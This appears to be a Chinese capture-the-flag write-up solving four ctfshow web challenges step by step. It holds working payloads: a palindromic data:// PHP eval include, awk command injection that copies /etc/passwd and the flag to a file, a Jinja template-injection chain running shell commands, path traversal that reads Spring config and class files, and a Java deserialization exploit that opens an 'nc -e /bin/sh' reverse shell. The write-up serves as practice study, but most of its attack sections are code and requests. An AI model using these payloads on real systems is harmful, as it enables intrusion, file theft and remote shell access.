ctfshow单身杯

web签到

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(0);
highlight_file(__FILE__);

$file = $_POST['file'];

if(isset($file)){
if(strrev($file)==$file){
include $file;
}

}

strrev函数用来进行字符串的反转,这里是个文件包含可以用伪协议绕过,而且是弱比较

1
2
<?php
echo strrev("?>phpphp?>");

类似的写出payload

1
2
3
https://1bed9667-adbd-4f21-a6df-1a8a7c0833dc.challenge.ctf.show/?1=system("tac /f1agaaa");

file=data://text/plain,<?php eval($_GET[1]);?>>?;)]1[TEG_$(lave php?<,nialp/txet//:atad

easyPHP

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
$param = $_POST['param'];

if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}

还是一个RCE,已过看到了老搭档了,而且很明显这个格式就是一个shell,我们可以在服务器终端进行测试

1
awk 'BEGIN{system("ls /")}'

不过shell_exec是无回显的,这里写个文件带出来即可

1
2
3
4
cmd=awk&param=BEGIN{system("cp /etc/passwd a")}

cmd=awk&param=BEGIN{system("ls / > a")}
cmd=awk&param=BEGIN{system("tac /f1agaaa > a")}

姻缘测试

源码里面可以看到/source路由,然后我们看看

1
2
3
4
5
6
def is_hacker(string):
"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""
if "{" in string and "}" in string :
return True
else:
return False

要绕过waf这里,首先我们是知道参数了,并且知道如何攻击,测试了很久,也不知道这后端怎么写的,只有'能够正常渲染,

1
https://1cb874d3-6cb0-4b55-a0ab-03af03a8e550.challenge.ctf.show/result?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[82].__init__.__globals__.__import__('os').popen('tac /f*').read()}}

blog

注册登录之后发现描述:

1

并且发现源码里面的头像路径

1

正常思路就是想办法给报错了,回到登录界面给加入'或者是"

1

找到了使用的框架Hibernate,而这个框架有漏洞就是可以IOC注入,我也没太懂,不过就类似于参数覆盖,

1

1

成功了,再一看头像路径就变成了

1

可以试试路径穿越的文件读取漏洞,不过要调整一下bp的参数设置,不然是不能抓去图片的包的

1

成功之后就开始文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /avatar/file/../web.xml HTTP/1.1
Host: 7e2a881d-9c98-488f-9d7c-1d08ca1ba8ab.challenge.ctf.show
Cookie: JSESSIONID=C25ED3AAA09B0BC2FD067F01C10C4178
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<filter>
<filter-name>encoding</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>utf-8</param-value>
</init-param>

</filter>
<filter-mapping>
<filter-name>encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
</web-app>

可以继续读Spring框架的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /avatar/file/../applicationContext.xml HTTP/1.1
Host: 7e2a881d-9c98-488f-9d7c-1d08ca1ba8ab.challenge.ctf.show
Cookie: JSESSIONID=C25ED3AAA09B0BC2FD067F01C10C4178
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd">


<!--扫描组件-->
<context:component-scan base-package="com.ctfshow.*"/>


<bean id="viewResolver" class="org.thymeleaf.spring5.view.ThymeleafViewResolver">
<property name="order" value="1"/>
<property name="characterEncoding" value="UTF-8"/>
<property name="templateEngine">
<bean class="org.thymeleaf.spring5.SpringTemplateEngine">
<property name="templateResolver">
<bean class="org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver">
<!--视图前缀-->
<property name="prefix" value="/WEB-INF/templates/"/>
<!--视图后缀-->
<property name="suffix" value=".html"/>
<property name="templateMode" value="HTML5"/>
<property name="characterEncoding" value="UTF-8"/>
</bean>
</property>
</bean>
</property>
</bean>
<mvc:annotation-driven/>
<mvc:resources mapping="/static/**" location="/WEB-INF/static/"/>
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/page/{\d+}"/>
<bean class="com.ctfshow.Interceptor.ArticleInterceptor"/>
</mvc:interceptor>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<mvc:exclude-mapping path="/"/>
<mvc:exclude-mapping path="/admin/**"/>
<mvc:exclude-mapping path="/page/"/>
<mvc:exclude-mapping path="/avatar/**"/>
<mvc:exclude-mapping path="/page/*"/>
<mvc:exclude-mapping path="/user/login"/>
<mvc:exclude-mapping path="/user/register"/>
<mvc:exclude-mapping path="/static/**"/>
<bean class="com.ctfshow.Interceptor.LoginInterceptor"/>
</mvc:interceptor>

</mvc:interceptors>
</beans>

看到有两个拦截器在后面(怎么看出来的,问AI)

1
2
com.ctfshow.Interceptor.LoginInterceptor
com.ctfshow.Interceptor.ArticleInterceptor

读取源码

1
2
/avatar/file/../classes/com/ctfshow/Interceptor/ArticleInterceptor.class
/avatar/file/../classes/com/ctfshow/Interceptor/LoginInterceptor.class

然后我一直是拿不到源码,放在jadx里面是报错的,这里其实问题就是class文件结构

1

还有就是存文件的时候最好是从hex存

1

1

放到厨子里面直接保存为class文件,然后放在010里面

1

这四位是多的,给删掉然后就得到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*LoginInterceptor*/
package com.ctfshow.Interceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

/* loaded from: LoginInterceptor.class */
public class LoginInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HttpSession session = request.getSession();
if (null != session.getAttribute("isLogin")) {
return true;
}
response.sendRedirect("/user/login");
return false;
}

public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
super.postHandle(request, response, handler, modelAndView);
}

public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
super.afterCompletion(request, response, handler, ex);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*ArticleInterceptor*/
package com.ctfshow.Interceptor;

import com.ctfshow.dao.ArticleEntity;
import com.ctfshow.model.ArticleModel;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.web.servlet.HandlerInterceptor;

/* loaded from: ArticleInterceptor.class */
public class ArticleInterceptor implements HandlerInterceptor {
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HttpSession session = request.getSession();
ArticleEntity articleEntity = (ArticleEntity) session.getAttribute("page");
articleEntity.setGood(Integer.valueOf(articleEntity.getGood().intValue() + 1));
ArticleModel articleModel = new ArticleModel();
articleModel.saveArticle(articleEntity);
super.afterCompletion(request, response, handler, ex);
}
}

有这些那肯定有控制器的

1
2
/avatar/file/../classes/com/ctfshow/controller/ArticleController.class
/avatar/file/../classes/com/ctfshow/controller/LoginController.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
/*ArticleController.class*/
package com.ctfshow.controller;

import com.ctfshow.dao.ArticleEntity;
import com.ctfshow.dao.UserEntity;
import com.ctfshow.model.ArticleModel;
import java.sql.Timestamp;
import java.util.List;
import javax.servlet.http.HttpSession;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;

/* loaded from: ArticleController.class */
public class ArticleController {
@GetMapping({"/{id}"})
public String page(@PathVariable Integer id, HttpSession session, Model model) {
ArticleModel articleModel = new ArticleModel();
ArticleEntity page = articleModel.getArticleById(id);
if (page == null) {
model.addAttribute("message", "错误:已经没有内容了");
return "pageMessage";
}
model.addAttribute("page", page);
session.setAttribute("page", page);
model.addAttribute("isLogin", session.getAttribute("isLogin"));
return "page";
}

@GetMapping({"/"})
public String pageList(HttpSession session, Model model) {
ArticleModel articleModel = new ArticleModel();
List<ArticleEntity> pages = articleModel.getAllArticle();
model.addAttribute("pages", pages);
model.addAttribute("isLogin", session.getAttribute("isLogin"));
return "pageList";
}

@GetMapping({"/user/add"})
public String pageAdd(HttpSession session, Model model) {
model.addAttribute("user", (UserEntity) session.getAttribute("user"));
model.addAttribute("isLogin", session.getAttribute("isLogin"));
return "pageAdd";
}

@PostMapping({"/user/add"})
@ResponseBody
public ModelAndView pageAdd(@RequestParam String title, @RequestParam String content, HttpSession session, Model model) {
ArticleEntity articleEntity = new ArticleEntity();
ArticleModel articleModel = new ArticleModel();
UserEntity user = (UserEntity) session.getAttribute("user");
if (null != title && null != content) {
articleEntity.setTitle(title);
articleEntity.setAuthor(user.getUsername());
articleEntity.setGood(0);
articleEntity.setCreateDate(new Timestamp(System.currentTimeMillis()));
articleEntity.setContent(content);
articleModel.saveArticle(articleEntity);
model.addAttribute("message", "发布成功!");
model.addAttribute("retUrl", "/page/");
} else {
model.addAttribute("message", "发布失败,标题或内容不能为空");
model.addAttribute("retUrl", "/page/user/add");
}
ModelAndView modelAndView = new ModelAndView("pageMessage", "pageMessage", model);
return modelAndView;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
/*LoginController.class*/
package com.ctfshow.controller;

import com.ctfshow.dao.UserEntity;
import com.ctfshow.model.UserModel;
import java.util.UUID;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;

@RequestMapping(path = {"/user"})
@Controller
/* loaded from: LoginController.class */
public class LoginController {
@GetMapping({"/login"})
public String index(HttpSession session, Model model) {
return null != session.getAttribute("isLogin") ? "redirect:/page/" : "loginPage";
}

@PostMapping({"/login"})
public String doLogin(UserEntity user, HttpSession session, Model model) {
UserModel userModel = new UserModel();
UserEntity check = userModel.getUserByUsername(user.getUsername());
if (user.equals(check)) {
session.setAttribute("isLogin", true);
session.setAttribute("user", user);
String loginResult = "登录成功";
if (check.getId() == 1) {
String uuid = UUID.randomUUID().toString().replaceAll("-", "");
loginResult = loginResult + " 请保存token:" + uuid;
session.setAttribute("token", uuid);
session.setAttribute("user", check);
}
model.addAttribute("message", loginResult);
return "pageMessage";
}
model.addAttribute("loginResult", "登录失败,用户名/密码不正确。");
return "loginResult";
}

@GetMapping({"/register"})
public String register() {
return "reg";
}

@PostMapping({"/register"})
public String doRegister(UserEntity user, Model model) {
UserModel userModel = new UserModel();
if (user != null && !user.getUsername().equals("admin")) {
userModel.createUser(user);
model.addAttribute("loginResult", "注册成功。");
model.addAttribute("retUrl", "/user/login");
return "loginResult";
}
model.addAttribute("message", "注册信息有误,请检查。");
return "pageMessage";
}

@GetMapping({"/logout"})
public String doLoginOut(HttpSession session, Model model) {
session.removeAttribute("isLogin");
session.removeAttribute("user");
return "redirect:/page/";
}

@PostMapping({"/changePassword"})
@ResponseBody
public ModelAndView changePassword(@RequestParam String newPassword, HttpSession session, Model model) {
UserEntity userEntity = (UserEntity) session.getAttribute("user");
if (null != newPassword) {
userEntity.setPassword(newPassword);
UserModel userModel = new UserModel();
userModel.updateUser(userEntity);
model.addAttribute("message", "修改成功");
} else {
model.addAttribute("message", "修改失败");
}
ModelAndView modelAndView = new ModelAndView("pageMessage", "pageMessage", model);
return modelAndView;
}
}

继续读取

1
/avatar/file/../classes/com/ctfshow/dao/UserEntity.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package com.ctfshow.dao;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Objects;
import javax.persistence.Basic;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Table;

@Table(name = "user", schema = "ctfshow", catalog = "")
@Entity
/* loaded from: UserEntity.class */
public class UserEntity implements Serializable {
private static final long serialVersionUID = 1;
private int id;
private String username;
private String password;
private String email;
private String address;

@Id
@Column(name = "Id")
public int getId() {
return this.id;
}

public void setId(int id) {
this.id = id;
}

@Basic
@Column(name = "username")
public String getUsername() {
return this.username;
}

public void setUsername(String username) {
this.username = username;
}

@Basic
@Column(name = "password")
public String getPassword() {
return this.password;
}

public void setPassword(String password) {
this.password = password;
}

public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
UserEntity user = (UserEntity) o;
return Objects.equals(this.username, user.username) && Objects.equals(this.password, user.password);
}

public int hashCode() {
return Objects.hash(Integer.valueOf(this.id), this.username, this.password);
}

@Basic
@Column(name = "email")
public String getEmail() {
return this.email;
}

@Basic
@Column(name = "address")
public String getAddress() {
return this.address;
}

public void setEmail(String email) {
this.email = email;
}

public void setAddress(String address) {
this.address = address;
}

private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
input.defaultReadObject();
Class.forName(this.username).getMethod(this.email, String.class).invoke(Class.forName(this.username).getMethod(this.password, new Class[0]).invoke(Class.forName(this.username), new Object[0]), this.address);
}
}

其中并没有对最重要的ID进行限制

1

login路由可以看到,由于我们是注册了的,他还是直接比较的用户名和密码,如果有ID就直接覆盖,并且生成token

1

而一看/changePassword他的用户是从session中获得的,而这用户是我们伪造的,我们可以利用这个直接去拿到正确的admin

1

而为啥这么说呢,我们可以读取UserModel得到答案

1
/avatar/file/../classes/com/ctfshow/model/UserModel.class

其中有一段重要代码

1

saveOrUpdate方法,如果ID存在,会直接更新。

1

然后我们去修改密码,参数是我们当前账号的密码

1

重新登录拿到token

1

这个token应该是配套权限的,我们继续读取

1
/avatar/file/../classes/com/ctfshow/controller/AdminController.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.ctfshow.controller;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.URL;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@RequestMapping({"/admin"})
@Controller
/* loaded from: AdminController.class */
public class AdminController {
@PostMapping({"/update"})
public String adminConsole(@RequestParam String token, @RequestParam String url, HttpSession session, Model model) throws IOException, ClassNotFoundException {
if (token != null && token.equals(session.getAttribute("token"))) {
URL fileUrl = new URL(url);
ObjectInputStream objectInputStream = new ObjectInputStream(fileUrl.openStream());
objectInputStream.readObject();
model.addAttribute("message", "更新成功");
return "pageMessage";
}
model.addAttribute("message", "更新失败,token无效");
return "pageMessage";
}
}

得到了参数是tokenurl以及攻击路由admin/update,看到调用了readObject,找我们之前读取的文件里面UserEntity

1
2
3
4
private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
input.defaultReadObject();
Class.forName(this.username).getMethod(this.email, String.class).invoke(Class.forName(this.username).getMethod(this.password, new Class[0]).invoke(Class.forName(this.username), new Object[0]), this.address);
}

参数可控可以打反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.ctfshow;

import com.ctfshow.dao.UserEntity;
import org.hibernate.HibernateException;
import org.hibernate.Metamodel;
import org.hibernate.query.Query;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.cfg.Configuration;

import javax.persistence.metamodel.EntityType;

import java.io.*;
import java.net.URL;
import java.util.Map;

public class Main {

public static void main(final String[] args) throws Exception {
UserEntity userEntity = new UserEntity();
userEntity.setUsername("java.lang.Runtime");
userEntity.setPassword("getRuntime");
userEntity.setEmail("exec");
userEntity.setAddress("nc IP 端口 -e /bin/sh");
FileOutputStream fos = new FileOutputStream("exp");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(userEntity);
os.close();

}
}

0x03 小结

学了很多,同时发现是真坐牢啊,看来要好好学习一下java了,不然这个poc都不知道怎么run